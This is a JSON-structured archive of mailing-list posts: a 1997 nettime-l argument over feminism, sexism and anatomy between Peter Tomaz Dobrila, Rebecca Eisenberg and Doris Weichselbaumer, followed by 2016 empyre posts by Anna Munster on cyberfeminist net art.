Luxemburg\nand Klara Zetkin wrote. \n \n> There are many errogenous zones in the human body, both male and female,\n> and NOTHING I wrote suggested otherwise.  But a focus on the vagina is\n> clearly phallocentric, and a decision not to even mention the clitoris --\n> which, I repeat, is where female sexuality is said to be \"centered\" in a\n> way analogous to the male centering of sexuality on the penis -- is not\n> trivial.    No act of sexism is trivial, and I must repeat that I find\n> hardly any action more pernicious than the denial that sexism exists.\n> Sexism exists.    The fact that you, personally, have perhaps never felt\n> the direct harms of sexism only provides evidence of the fact that sexism\n> divides the world by gender, and assigns the burdens and benefits\n> inequally.  The fact that many women (most of them much younger than I am)\n> and perhaps most men may disagree with this perspective does not mean that\n> sexism does not exist.\nI see that sexism exists, even through you explanations. But you can't\nfight sexism with other sexism. Is penis vulvacentric? What male? Who?\nI mentioned clitoris. CLITORIS. VAGINA. PENIS. BREAST. I'm proud of\nclitoris, even though I don't have one. This is getting ridiculous. Better\nname all sexists and we can E-mail them. I'll help you with that.\n  \n> I believe that your intentions are genuine.  So if you want truly to create\n> the egalitarian world that you would like to think exists today, do\n> something about it.  Join the movement.  Read the literature.  Talk about\n> it.  Get involved.  Don't just sit there.\nJoin the party. Join the army. Your country needs you. I'm sitting here\ntalking to you. Just had a coffee. Have one and be yourself. \n\nLove,\nPeter \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                "id": "00127",
                                "date": "Tue, 17 Jun 1997 14:17:29 +0200 (MET DST)",
                                "to": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                                "message-id": "Pine.LNX.3.95.970617130206.858K&#45;100000 {AT} server.nd&#45;mb.si",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00127.html",
                                "content-type": "text/plai",
                                "author_name": "Peter Tomaz Dobrila",
                                "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                            },
                            {
                                "from": "\"Doris Weichselbaumer\" <Doris.Weichselbaumer {AT} alijku04.edvz.uni-linz.ac.at>",
                                "content": "\nHi,\n\n> What equality, if there are 'women only' things?\n\nCome on, get real! \n\nmaybe you come from a different planet than me, but i grew up  \nsurrounded with *men only* things, and still i am often enough the \n*_one_ woman only* amongst males (whether it's in the rock biz, \n*industrial* art, university...)\n\nso excuse me, if women want to have their own things for a change, \nbad enough if they're having a minority status in society when in \nfact they are the majority in population. (ever heard that woman do \nabout 60 % of all work but possess 3 % of property?)\n\nwould you dare to get mad about if a ethnic minority wants to do \ntheir own thing? i don't think so. so be consistent. it's the right \nof every *minority* to gather and do their *own thing*.\n\nas long as *the thing between your legs* as you call it is considered \nto be an indicator for your abilities and interests - it very well \n_is_ still  an issue.\n\nnot to talk about how female sexual body parts got degraded by men in \nthe past, so talking about the CLITORIS and the VAGINA, SLUTS and \nCUNTS is about regaining what belongs to us, giving it new meaning \nand pride.\n\nGOT TO PUT THE CLIT BACK ON THE MAP!\n\n> Better name all sexists and we can E-mail them. I'll help you with that.\nIt's not just people - it's a system that's sexist. _nobody_ can \nreally claim not to be racist or sexist. but we can try.\n\ncheers,\ndozza\n\np.s. for some more provocation: \nthere is the idea, that men alone should carry the burden of paying \ntaxes for all the costs involved with crime that to the highest \ndegree are committed by men! \n.................................................\nDoris Weichselbaumer\nDepartment of Economics\nUniversity of Linz\nAltenberger Str. 69, 4040 Linz, Austria,\nPhone: ++43-732-2468-240, Fax: ++43-732-2468-9679\nhttp://www.economics.uni-linz.ac.at/\nemail: doris.weichselbaumer {AT} jk.uni-linz.ac.at\n................................................\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                                "id": "00129",
                                "date": "Tue, 17 Jun 1997 15:42:34 +0000",
                                "to": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                                "message-id": "199706171341.AA183050 {AT} alijku04.edvz.uni&#45;linz.ac.at",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00129.html",
                                "content-type": "text/plai",
                                "author_name": "Doris Weichselbaumer",
                                "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                            }
                        ],
                        "from": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                        "content": "\nI just wanted to note briefly, that there is hardly any statement that I\nfind more insidious and offensive, when not outright simplistic and\napologist, to insist that \"usually feminists are transplanting their\npersonal\n>>accidents, their personal experiences, i.e. misunderstandings with their\n>>partners into common market.\"\n\nFeminists are reponding to *institutional* sexism, and fighting against\nsexism constitutes neither the airing of dirty laundry nor the promotion of\nsexism itself.   Many people are feminist before they even have any\n\"partners\" to be \"angry\" about -- for example, my first feminist awakening\ninvolved the way that *teachers* treated me in math and science classes in\nmy pre-teen years.  There's no bitterness over boyfriends there; rather, it\nis justified anger at a world that assigns females a presumption of\nincompetence while assigning males, at the same time, a presumption of\ncompetence.   The goal is to break down barriers and promote equality, and\nI think that you badly misrepresent feminism as it is known to the great\nmajority of people, both male and female, who identify as feminist, by\ninsisting otherwise.\n\nThat said, I did actually have an objection to the circulated \"Vagina\"\npost.  In my opinion, as well as my best understanding of the nature of\nbiology and human sexuality, the female body part that is most analagous to\nthe penis is the *clitoris* rather than the vagina.  It is a fairly common\ncomplaint among feminist scholars (and has been for a while, in particular\nin reaction to Freud's terrifyingly absurd assumptions about female\nsexuality) that a focus on the vagina, rather than on the clitoris or the\nvulva in general, looks at female sexuality from the point of view of a\npenis in search of a hole.  This is not to insist that the vagina is\nirrelevant to sexuality for all women, but rather, it is to make the\nargument that, if you are going to reclaim space for women, and then\nidentify women with the sexual organ where their sexual response is\ngenerally considered to be located, the clear choice would have been\nclitoris rather than vagina.\n\nregards,\nrebecca\n\nAt 9:11 AM +0200 6/17/97, Anne de Haan wrote:\n>At 16:06 16-06-97 +0200, you wrote:\n>>Aloha!\n>>\n>>Good explanation of the thing I'm more and more calling sick. More of it\n>>I don't understand, but usually feminists are transplanting their personal\n>>accidents, their personal experiences, i.e. misunderstandings with their\n>>partners into common market. So their goal is make war not love (I'm not\n>>hippy, so don't worry), if it's not another woman, of course. So is this a\n>>form of solidarity or just a way of expressing their sexual behavior.\n>>Plain gender, pure sex and nothing else. I don't think relationships\n>>should be built or focused on that. It's very animalic. And even less, I\n>>don't think excusses on political or social engagements should be raised\n>>from plain personal - intimate thing. It takes (at least) two for any kind\n>>of relation, communication. And here goes Internet, interactivity, etc.\n>>There's never just one who takes the blame, even when it's man.\n>>And I'm ignorant to all 'women only' projects. It sounds like 'white\n>>only'. Sometimes I'm mad, sometimes I'm laughing at it. When women are\n>>pointing out just their vagina (like feminists do) they make a very bad\n>>reputation of themselves, and all women of course. This is plain racism\n>>and pure agression. Make them read Camille Paglia.\n>>Where are there heads, their brains, their feelings, their emotions, if\n>>just vagina or penis is all that matters? So feminists are making animals\n>>out of women, even if I think that animals are more intelligent than some\n>>of them. Yes, I like Duchamp, I like Gertrude Stein, I like Orlan,\n>>I like Stelarc, I like Beatles, I like Spice Girls, I like ninties, the\n>>age of transsexuality and androginity and nature, that made genders. I'm\n>>heterosexual and I'm not pointing it out whenever I'm talking to audience\n>>I'm not making my political state out of it. It's ridiculous to be based\n>>just on sexual orientation or even sexual needs, on something between our\n>>legs. There are many 'hot lines' for that. Let's be civilised and maybe\n>>intelectual.\n>>\n>>Best,\n>>Peter\n\nrebecca.lynn.eisenberg\nmars {AT} bossanova.com, mars {AT} well.com\nhttp://www.bossanova.com/rebeca/\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00124",
                        "date": "Tue, 17 Jun 1997 02:27:32 -0700",
                        "to": "Anne de Haan <sigorney {AT} knoware.nl>",
                        "message-id": "v03007809afcc05c63050 {AT} [206.80.15.235]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00124.html",
                        "content-type": "text/plai",
                        "author_name": "rebecca l. eisenberg",
                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                    },
                    {
                        "from": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                        "content": "\nHi there!\n\n> I just wanted to note briefly, that there is hardly any statement that I\n> find more insidious and offensive, when not outright simplistic and\nAt the end I wrote i.e. - in example. So I didn't mean just that, there\nis others personal shit as well. But you can't blame it on the whole world\npopulations.  \n\n> Feminists are reponding to *institutional* sexism, and fighting against\n> sexism constitutes neither the airing of dirty laundry nor the promotion of\n> sexism itself.   Many people are feminist before they even have any\n> \"partners\" to be \"angry\" about -- for example, my first feminist awakening\n> involved the way that *teachers* treated me in math and science classes in\n> my pre-teen years.  There's no bitterness over boyfriends there; rather, it\n> is justified anger at a world that assigns females a presumption of\n> incompetence while assigning males, at the same time, a presumption of\n> competence.   The goal is to break down barriers and promote equality, and\n> I think that you badly misrepresent feminism as it is known to the great\n> majority of people, both male and female, who identify as feminist, by\n> insisting otherwise.\nAlright. You don't like *teachers*. I don't like some of them either. You\ncan identify as you like. Feminist is O.K. I'm Marsian, two heads and\nwings, little green creature. But on the other hand I'm Peter Tomaz\nDobrila and nothing else. Please to meet you Rebecca. Give those teachers\nnames. Some car drivers are even worse. So what to do?\n \n> That said, I did actually have an objection to the circulated \"Vagina\"\n> post.  In my opinion, as well as my best understanding of the nature of\n> biology and human sexuality, the female body part that is most analagous to\n> the penis is the *clitoris* rather than the vagina.  It is a fairly common\n> complaint among feminist scholars (and has been for a while, in particular\n> in reaction to Freud's terrifyingly absurd assumptions about female\n> sexuality) that a focus on the vagina, rather than on the clitoris or the\n> vulva in general, looks at female sexuality from the point of view of a\n> penis in search of a hole.  This is not to insist that the vagina is\n> irrelevant to sexuality for all women, but rather, it is to make the\n> argument that, if you are going to reclaim space for women, and then\n> identify women with the sexual organ where their sexual response is\n> generally considered to be located, the clear choice would have been\n> clitoris rather than vagina.\nGreat! Sigmund Freud was a wanker. But debate about penis, vagina and\nclito is unfamiliar to me. Don't we have more in our bodies? Toes, liver,\nheart, brain, arms, legs, feet, head, kindeys, eyes, ears, smell,\nvoice, touch, etc. Isn't it all involved in our whole behaviour, work,\nsex, etc.? \n\nBest,\nPeter\n\n   \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00125",
                        "date": "Tue, 17 Jun 1997 12:00:02 +0200 (MET DST)",
                        "to": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                        "message-id": "Pine.LNX.3.95.970617113922.858H&#45;100000 {AT} server.nd&#45;mb.si",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00125.html",
                        "content-type": "text/plai",
                        "author_name": "Peter Tomaz Dobrila",
                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                    },
                    {
                        "from": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                        "content": "\nAt 12:00 PM +0200 6/17/97, Peter Tomaz Dobrila wrote:\n>Hi there!\n>\n>> I just wanted to note briefly, that there is hardly any statement that I\n>> find more insidious and offensive, when not outright simplistic and\n>At the end I wrote i.e. - in example. So I didn't mean just that, there\n>is others personal shit as well. But you can't blame it on the whole world\n>populations.\n\n\nIn the United States, the accepted meaning of i.e. is \"that is.\"  This is\nvery different from \"for example,\" which is signified by \"e.g.\".\n\nRegardless, the point stands that feminism is not about revenge against bad\nmen.  It is about a social movement that promotes equality of the sexes,\nand that actively fights against sexist stereotyping.  Period.  If I read\ncorrectly, you yourself insisted that you were \"not a feminist\" (a\nconclusion that could have been inferred from context had it not been\nstated explicitly).  Given that, how can you justify trying to define my\nsocial movement?    It is offensive.\n\nWho is blaming sexism on \"the thole world populations <sic>\"?  What I\nstated clearly, and what I repeat again, is that feminism is about\npromoting equality of the sexes, and striving to acheive a world where\nopportunity is not restricted on the basis of sex and/or gender.   The fact\nthat the majority of the people who live in this world take part in a\nsexist culture of some sort does not change the goals of the movement,\nwhich are to enact change and promote equality.\n\n\n\n>\n>> Feminists are reponding to *institutional* sexism, and fighting against\n>> sexism constitutes neither the airing of dirty laundry nor the promotion of\n>> sexism itself.   Many people are feminist before they even have any\n>> \"partners\" to be \"angry\" about -- for example, my first feminist awakening\n>> involved the way that *teachers* treated me in math and science classes in\n>> my pre-teen years.  There's no bitterness over boyfriends there; rather, it\n>> is justified anger at a world that assigns females a presumption of\n>> incompetence while assigning males, at the same time, a presumption of\n>> competence.   The goal is to break down barriers and promote equality, and\n>> I think that you badly misrepresent feminism as it is known to the great\n>> majority of people, both male and female, who identify as feminist, by\n>> insisting otherwise.\n>Alright. You don't like *teachers*. I don't like some of them either. You\n>can identify as you like. Feminist is O.K. I'm Marsian, two heads and\n>wings, little green creature. But on the other hand I'm Peter Tomaz\n>Dobrila and nothing else. Please to meet you Rebecca. Give those teachers\n>names. Some car drivers are even worse. So what to do?\n\nThat is patently absurd.  Feminism is not a fight against \"teachers.\"  Many\nteachers were *not* that way.  Feminism is a battle to break down sexist\nstereotyping, and what I gave an example of was the stereotype that insists\nthat women are not competent in math and science, and that succeeds, to\nthis day, to keep unjustly  many highly qualified women out of lucrative\nand challenging occupations.  To the extent that individuals are hired\nand/or promoted based on their sex rather than based on the quality of\ntheir work (and to deny that this happens is to look blindly upon the\nworld) helps no one because it promotes an inefficient marketplace and\ninhibits the full range of human and technological progress.\n\nYou are Peter, but you are also male, and you have benefitted from being a\nmale, in some way or other in your life, whether you admit that or not.\nPerhaps you have benefitted only from the fact that you need not actively\nfear rape as you walk down a city street at night; or perhaps you have\nbenefitted from that fact because you have a much better real opportunity\nto become an elected member of the government (at least if you were a US\ncitizen) than your female colleagues.  But you have benefitted.\nPersonally, I strive for a world where gender, the social contruct, does\nnot exist at all, and in which we can all be viewed as individuals first,\nand male or female (or hermaphrodite) as one of our many other individual\ntraits.  But we are not there yet, Peter, and denying the existence of\ninstitutionalized sexism brings us no closer to that final goal.\n\n\n\n>\n>> That said, I did actually have an objection to the circulated \"Vagina\"\n>> post.  In my opinion, as well as my best understanding of the nature of\n>> biology and human sexuality, the female body part that is most analagous to\n>> the penis is the *clitoris* rather than the vagina.  It is a fairly common\n>> complaint among feminist scholars (and has been for a while, in particular\n>> in reaction to Freud's terrifyingly absurd assumptions about female\n>> sexuality) that a focus on the vagina, rather than on the clitoris or the\n>> vulva in general, looks at female sexuality from the point of view of a\n>> penis in search of a hole.  This is not to insist that the vagina is\n>> irrelevant to sexuality for all women, but rather, it is to make the\n>> argument that, if you are going to reclaim space for women, and then\n>> identify women with the sexual organ where their sexual response is\n>> generally considered to be located, the clear choice would have been\n>> clitoris rather than vagina.\n>Great! Sigmund Freud was a wanker. But debate about penis, vagina and\n>clito is unfamiliar to me. Don't we have more in our bodies? Toes, liver,\n>heart, brain, arms, legs, feet, head, kindeys, eyes, ears, smell,\n>voice, touch, etc. Isn't it all involved in our whole behaviour, work,\n>sex, etc.?\n>\n\n\nThere are many errogenous zones in the human body, both male and female,\nand NOTHING I wrote suggested otherwise.  But a focus on the vagina is\nclearly phallocentric, and a decision not to even mention the clitoris --\nwhich, I repeat, is where female sexuality is said to be \"centered\" in a\nway analogous to the male centering of sexuality on the penis -- is not\ntrivial.    No act of sexism is trivial, and I must repeat that I find\nhardly any action more pernicious than the denial that sexism exists.\nSexism exists.    The fact that you, personally, have perhaps never felt\nthe direct harms of sexism only provides evidence of the fact that sexism\ndivides the world by gender, and assigns the burdens and benefits\ninequally.  The fact that many women (most of them much younger than I am)\nand perhaps most men may disagree with this perspective does not mean that\nsexism does not exist.\n\nI believe that your intentions are genuine.  So if you want truly to create\nthe egalitarian world that you would like to think exists today, do\nsomething about it.  Join the movement.  Read the literature.  Talk about\nit.  Get involved.  Don't just sit there.\n\nrle\n\nrebecca.lynn.eisenberg\nmars {AT} bossanova.com, mars {AT} well.com\nhttp://www.bossanova.com/rebeca/\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00126",
                        "date": "Tue, 17 Jun 1997 03:38:06 -0700",
                        "to": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                        "message-id": "v0300780dafcc13d17e3f {AT} [206.80.15.235]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00126.html",
                        "content-type": "text/plai",
                        "author_name": "rebecca l. eisenberg",
                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                    },
                    {
                        "from": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                        "content": "\nHi again dear...\n \n> In the United States, the accepted meaning of i.e. is \"that is.\"  This is\n> very different from \"for example,\" which is signified by \"e.g.\".\nSorry. So e.g. But maybe is English i.e.? I'm not sure. It is not my\nfirst language.\n \n> Regardless, the point stands that feminism is not about revenge against bad\n> men.  It is about a social movement that promotes equality of the sexes,\n> and that actively fights against sexist stereotyping.  Period.  If I read\n> correctly, you yourself insisted that you were \"not a feminist\" (a\n> conclusion that could have been inferred from context had it not been\n> stated explicitly).  Given that, how can you justify trying to define my\n> social movement?    It is offensive.\nWhat equality, if there are 'women only' things? Don't you think this is\nxenophobic, chovinistic and even rasistic? Isn't it just stereotyping?\nIt's is the same as with your *teachers*. Most of my teachers were women,\nso I should go macho, while I didn't like all of them... I'm not a\nfeminist and I'm not macho. I'm human, I suppose I'm not a dog. Social or\nsex movement? Be precise. Society involves ALL (human) beings. And no, I'm\nnot offensive. I like you and it's O.K., if you are feminist. Just I don't\nagree with it, making social movements with the thing between your legs.\n \n> Who is blaming sexism on \"the thole world populations <sic>\"?  What I\n> stated clearly, and what I repeat again, is that feminism is about\n> promoting equality of the sexes, and striving to acheive a world where\n> opportunity is not restricted on the basis of sex and/or gender.   The fact\n> that the majority of the people who live in this world take part in a\n> sexist culture of some sort does not change the goals of the movement,\n> which are to enact change and promote equality.\nNo, as long as there are 'women-only' things, you can't talk about \nequality. All different all equal. With other statements I'm supporting\nyou. I have a better word: humanism - it doesn't include gender, while\nfeminism does. \n \n> That is patently absurd.  Feminism is not a fight against \"teachers.\"  Many\n> teachers were *not* that way.  Feminism is a battle to break down sexist\n> stereotyping, and what I gave an example of was the stereotype that insists\n> that women are not competent in math and science, and that succeeds, to\n> this day, to keep unjustly  many highly qualified women out of lucrative\n> and challenging occupations.  To the extent that individuals are hired\n> and/or promoted based on their sex rather than based on the quality of\n> their work (and to deny that this happens is to look blindly upon the\n> world) helps no one because it promotes an inefficient marketplace and\n> inhibits the full range of human and technological progress.\nSo you're battling one sexist stereotype with another. Not very sensible.\nI agree with other (mostly). You pointed out *teachers*, not me. Isn't\nthat your personal thing? I was prosecuted by communist government and\nwas thrown out of University. So what? Should I fight all communists? No,\nI like them. I like communism.\n \n> You are Peter, but you are also male, and you have benefitted from being a\n> male, in some way or other in your life, whether you admit that or not.\nFor my benefits look above. But it's not my trauma.I just don't have Ph.D.\nI admit everything else.  \n\n> Perhaps you have benefitted only from the fact that you need not actively\n> fear rape as you walk down a city street at night; or perhaps you have\n> benefitted from that fact because you have a much better real opportunity\n> to become an elected member of the government (at least if you were a US\n> citizen) than your female colleagues.  But you have benefitted.\nO.K. You think not? Why? Fuck the government. I have a much better real\nopportunity to die (better: change my agregate state) earlier than you\nwould. And I have a much better real opportunity to be beaten by a gang.\nAnd I had a much better real opportunity to go to prison. And I've got\na much better real opportunity to be shot. Welcome to my benefits. US is\nnot the whole world. So what do you know about ex-socialism? It was\ngreat.\n\n> Personally, I strive for a world where gender, the social contruct, does\n> not exist at all, and in which we can all be viewed as individuals first,\n> and male or female (or hermaphrodite) as one of our many other individual\n> traits.  But we are not there yet, Peter, and denying the existence of\n> institutionalized sexism brings us no closer to that final goal.\nI'm not denying 'institutional sexism'. But it exists for male as well.\nLook for your opportunities and don't believe everything Rosa Luxemburg\nand Klara Zetkin wrote. \n \n> There are many errogenous zones in the human body, both male and female,\n> and NOTHING I wrote suggested otherwise.  But a focus on the vagina is\n> clearly phallocentric, and a decision not to even mention the clitoris --\n> which, I repeat, is where female sexuality is said to be \"centered\" in a\n> way analogous to the male centering of sexuality on the penis -- is not\n> trivial.    No act of sexism is trivial, and I must repeat that I find\n> hardly any action more pernicious than the denial that sexism exists.\n> Sexism exists.    The fact that you, personally, have perhaps never felt\n> the direct harms of sexism only provides evidence of the fact that sexism\n> divides the world by gender, and assigns the burdens and benefits\n> inequally.  The fact that many women (most of them much younger than I am)\n> and perhaps most men may disagree with this perspective does not mean that\n> sexism does not exist.\nI see that sexism exists, even through you explanations. But you can't\nfight sexism with other sexism. Is penis vulvacentric? What male? Who?\nI mentioned clitoris. CLITORIS. VAGINA. PENIS. BREAST. I'm proud of\nclitoris, even though I don't have one. This is getting ridiculous. Better\nname all sexists and we can E-mail them. I'll help you with that.\n  \n> I believe that your intentions are genuine.  So if you want truly to create\n> the egalitarian world that you would like to think exists today, do\n> something about it.  Join the movement.  Read the literature.  Talk about\n> it.  Get involved.  Don't just sit there.\nJoin the party. Join the army. Your country needs you. I'm sitting here\ntalking to you. Just had a coffee. Have one and be yourself. \n\nLove,\nPeter \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00127",
                        "date": "Tue, 17 Jun 1997 14:17:29 +0200 (MET DST)",
                        "to": "\"rebecca l. eisenberg\" <mars {AT} bossanova.com>",
                        "message-id": "Pine.LNX.3.95.970617130206.858K&#45;100000 {AT} server.nd&#45;mb.si",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00127.html",
                        "content-type": "text/plai",
                        "author_name": "Peter Tomaz Dobrila",
                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                    },
                    {
                        "from": "\"Doris Weichselbaumer\" <Doris.Weichselbaumer {AT} alijku04.edvz.uni-linz.ac.at>",
                        "content": "\nHi,\n\n> What equality, if there are 'women only' things?\n\nCome on, get real! \n\nmaybe you come from a different planet than me, but i grew up  \nsurrounded with *men only* things, and still i am often enough the \n*_one_ woman only* amongst males (whether it's in the rock biz, \n*industrial* art, university...)\n\nso excuse me, if women want to have their own things for a change, \nbad enough if they're having a minority status in society when in \nfact they are the majority in population. (ever heard that woman do \nabout 60 % of all work but possess 3 % of property?)\n\nwould you dare to get mad about if a ethnic minority wants to do \ntheir own thing? i don't think so. so be consistent. it's the right \nof every *minority* to gather and do their *own thing*.\n\nas long as *the thing between your legs* as you call it is considered \nto be an indicator for your abilities and interests - it very well \n_is_ still  an issue.\n\nnot to talk about how female sexual body parts got degraded by men in \nthe past, so talking about the CLITORIS and the VAGINA, SLUTS and \nCUNTS is about regaining what belongs to us, giving it new meaning \nand pride.\n\nGOT TO PUT THE CLIT BACK ON THE MAP!\n\n> Better name all sexists and we can E-mail them. I'll help you with that.\nIt's not just people - it's a system that's sexist. _nobody_ can \nreally claim not to be racist or sexist. but we can try.\n\ncheers,\ndozza\n\np.s. for some more provocation: \nthere is the idea, that men alone should carry the burden of paying \ntaxes for all the costs involved with crime that to the highest \ndegree are committed by men! \n.................................................\nDoris Weichselbaumer\nDepartment of Economics\nUniversity of Linz\nAltenberger Str. 69, 4040 Linz, Austria,\nPhone: ++43-732-2468-240, Fax: ++43-732-2468-9679\nhttp://www.economics.uni-linz.ac.at/\nemail: doris.weichselbaumer {AT} jk.uni-linz.ac.at\n................................................\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                        "id": "00129",
                        "date": "Tue, 17 Jun 1997 15:42:34 +0000",
                        "to": "Peter Tomaz Dobrila <peco {AT} kibla.org>",
                        "message-id": "199706171341.AA183050 {AT} alijku04.edvz.uni&#45;linz.ac.at",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9706/msg00129.html",
                        "content-type": "text/plai",
                        "author_name": "Doris Weichselbaumer",
                        "subject": "Re: <nettime> Translation: The vagina is the boss on intern"
                    }
                ],
                "message-id": "199706152259.AAA09609 {AT} utrecht.knoware.nl",
                "date": "Mon, 16 Jun 1997 00:59:00 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "n/a",
                "from": "a.munster at unsw.edu.au",
                "id": "9290",
                "content": "Just wondering how many people are aware of the cyberfeminist  origins of this list: Melinda Rackham who started empyre was a contemporary of the whole VNS Matrix, cyberfeminist and netizens crowd. Check out this early work from 1996 (she actually cared enough to switch the java to html in 2014 - that is dedication to preserving history!):\nTunnel, http://www.subtle.net/tunnel/lindex.html\n\nIt\u2019s amazing how current or at least \u2018revived'  the graphic feel is! \ncheers\nAnna\n\nAnna Munster\nAssociate Professor,\nFaculty of Art and Design\nUNSW\nP.O Box 259\nPaddington\nNSW 2021\nAustralia\na.munster at unsw.edu.au\nhttp://sensesofperception.info \n\n\n",
                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2016-September/009290.html",
                "message-id": "9290",
                "date": "Mon Sep 19 21:28:28 AEST 2016",
                "list": "empyre",
                "author_name": "Anna Munster",
                "subject": "[-empyre-] cyberfems 'then' no. 2"
            },
            {
                "content-type": "n/a",
                "from": "a.munster at unsw.edu.au",
                "id": "9289",
                "content": "I\u2019ve really been enjoying the discussion on net art and finance but I did say I was going to use a three-way prism to think about \u2018then\u2019 and \u2018now\u2019. I thought I\u2019d start another thread to pick up a discussion on feminism and net art.\n\nWhat I\u2019m really interested in here is the \u2018return\u2019 of feminism in the last couple of years, generally, accompanied by a younger generation of artists and poets\u2019 interest in feminist digital/net.art from the \u201890s. I\u2019m not sure how generalisable this is - perhaps it\u2019s a bit more specific to Australia. But here\u2019s an example:\n\nThen: VNS Matrix: http://vnsmatrix.net/\nNow: Xenofeminism: A Politics for Alienation: Laboria Cuboniks,http://www.laboriacuboniks.net/#firstPage  \n\nI am taking liberties with the term \u2018net art\u2019 here. VNSMatrix were not strictly \u2018net.artists\u2019. Nonetheless, their presence with net culture in the \u201890s \u2013 they inhabited Lambdamoo, were active participants around discussions on net art and net critique on \u2018nettle\u2019, set up \u2018recode\u2019, a list that discussed net critique and net art in an Australian context, and were individually involved in net art projects such as \u2018doll yoko\u2019:http://dollyoko.thing.net/\n\nInterestingly, the recently reformed for their 25 year anniversary to do a live one-off performance in 2015. \n\nLikewise \u2018Xenofemism\u2019 is not a net.art project as one might traditionally think net.art. BUT it consciously traces a lineage to VNSMatrix and the \u2018performance\u2019 of online and cyber identities. In some ways, we could call it contemporary networked anti-performance art (ooo even I am gagging at that mouthful of a moniker!).\n\nWhy I find it interesting is that it continues to push and explore the important relation that so much cyberfeminist and net feminist (art)practice of the \u201890s brought to light: the network and identity.\n\nWhereas VNS Matrix located a network culture \u2018erected\u2019 on the exclusion and subjugation of the female body, Laboria Cuboniks radically engage with the re-formation of identity itself under the conditions of contemporary networks:\n\n'If \u2018cyberspace\u2019 once offered the promise of escaping the strictures of essentialist identity categories, the climate of contemporary social media has swung forcefully in the other direction, and has become a theatre where these prostrations to identity are performed\u2019 (from the Xenofemism manifesto)\n\nPerhaps what both the \u2018then\u2019 and the \u2018now\u2019 of feminist \u2018net' art have in common is a desire to \u2018un-perform\u2019 the network?\n\nThoughts? Misgivings?\n\nAnna Munster\nAssociate Professor,\nFaculty of Art and Design\nUNSW\nP.O Box 259\nPaddington\nNSW 2021\nAustralia\na.munster at unsw.edu.au\nhttp://sensesofperception.info \n\n\n",
                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2016-September/009289.html",
                "message-id": "9289",
                "date": "Sun Sep 18 08:04:43 AEST 2016",
                "list": "empyre",
                "author_name": "Anna Munster",
                "subject": "[-empyre-] from finance to...feminism"
            },
            {
                "id": "00000",
                "content": "\nThank you to Pauline for sending my piece to the list and for your\ncomments. They were right on target. I regret to have missed the beginning\nof this exchange. The exigencies of relocating transatlantically and moving\ntwo households have kept me off line for the last two weeks. I'm currently\nliving among boxes so my communication may remain intermittent for some\ntime...\n\nConnie: I was intrigued by your reactions as my brief comments do not\ndeviate significantly from previous, more extensive critiques of\ncyberfeminism, including the paper by Faith Wilding \"Where is the Feminism\nin Cyberfeminism\", a version which is posted in the OBN web site. Wilding\nalso questioned cyberfeminism's lack of definition and goals yet to my\nknowledge you have not responded (publically) with similar zeal. \n \nAs Pauline observes, I do not think cyberfeminism is over. Quite the\nopposite, it has hardly begun! I believe that critique is constructive.\nRather than deeming it a futile exercise (as you suggest), it can help one\nto reflect on and refine/define one's position.\n\nConnie, you wrote: \n\"there is a tradition within obn discussing the understanding of politics.\n(see also mute #13) and the main question is if something (like cf) can\nhave a political concern if there is 